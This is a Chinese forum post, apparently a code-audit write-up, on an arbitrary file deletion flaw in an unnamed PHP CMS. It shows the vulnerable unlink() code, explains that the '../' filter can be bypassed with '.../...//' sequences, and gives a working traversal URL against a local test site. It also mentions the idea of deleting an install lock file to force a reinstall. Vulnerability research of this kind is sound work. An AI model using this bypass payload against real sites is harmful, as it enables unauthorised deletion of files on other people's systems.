来源;http://bbs.ichunqiu.com/thread-8979-1-1.html?from=ch
0x01 前言:
定期来论坛打个卡,免得那天被坏蛋哥干掉了都不知道,最近玩起代码审计了,挖到的都丢给补天了,重复率挺高的,打算每天坚持审一套系统,提交1个重复,我就挖10个,十个重复,我就挖100个,我就不信会全部重复。。。。。。。。。。。。。。
0x02 开头:
在删除某套系统的时候,发现可控参数进入了unlink函数,给我的第一感觉就是任意文件删除
[p=40, null, left][color=rgb(0, 0, 0)][font=微软雅黑, tahoma, arial]public function delupload(){
$action=isset($_GET['action']) ? $_GET['action'] : null;
$filename=isset($_GET['filename']) ? $_GET['filename'] : null;
$filename=str_replace('../','',$filename);
$filename=trim($filename,'.');
$filename=trim($filename,'/');
if($action=='del' && !empty($filename)){
$filename=G_UPLOAD.$filename;
$size=getimagesize($filename);
$filetype=explode('/',$size['mime']);
if($filetype[0]!='image'){
return false;
exit;
}
unlink($filename);
exit;
}[/font][/color][/p][p=40, null, left][color=rgb(0, 0, 0)][font=微软雅黑, tahoma, arial]
复制代码
0x03 分析:
调用了unlink函数来删除文件
unlink($filename);
而$filename
$filename=isset($_GET['filename']) ? $_GET['filename'] : null;
则是从GET进入的,可控
不过他这里进行了过滤,防止删除其他目录的文件
把../过滤掉了,防止跳转目录
清空了两边的 . 和 /
$filename=str_replace('../','',$filename);
$filename=trim($filename,'.');
$filename=trim($filename,'/');
0x04 突破:
$filename=$_GET['filename'];
$filename=str_replace('../','',$filename);
$filename=trim($filename,'.');
$filename=trim($filename,'/');
echo $filename;
?>
于是就本地实验起来了
直接输入../的话会被清除
开头和结尾清除了/和.
但是这个影响不大,在开头随便加个下一级目录就可以了,结尾肯定是你要删除的文件名,所以也可以无视
主要就是突破清空../
想了一下,竟然清空了../ 那我.../ 不就可以留下一个"."
实际测试成功
这样就可以实现目录跳转删除文件了
于是构造了这么一个url,删除网站根目录的一张照片
http://127.0.0.1/xxxcms/?api/xxxx/xxxxx/&action=del&filename=shaidan/.../...//.../...//.../...//xxxx.jpg
测试成功
0x05 结尾:
可惜的是只能删除网站任意图片
$size=getimagesize($filename);
$filetype=explode('/',$size['mime']);
if($filetype[0]!='image'){
return false;
exit;
}
被这个getimagesize函数限制住了,我测试了一下发现他是根据文件实际内容来判断是什么文件的,小菜鸟技术未入门,没想出怎么突破,本来还在想删除lock,直接重装系统的。。。
文章可能没什么技术含量在里面,毕竟小菜鸟我技术未入门,各位大牛见谅,如果文章中有错误,还望大家指出
网友评论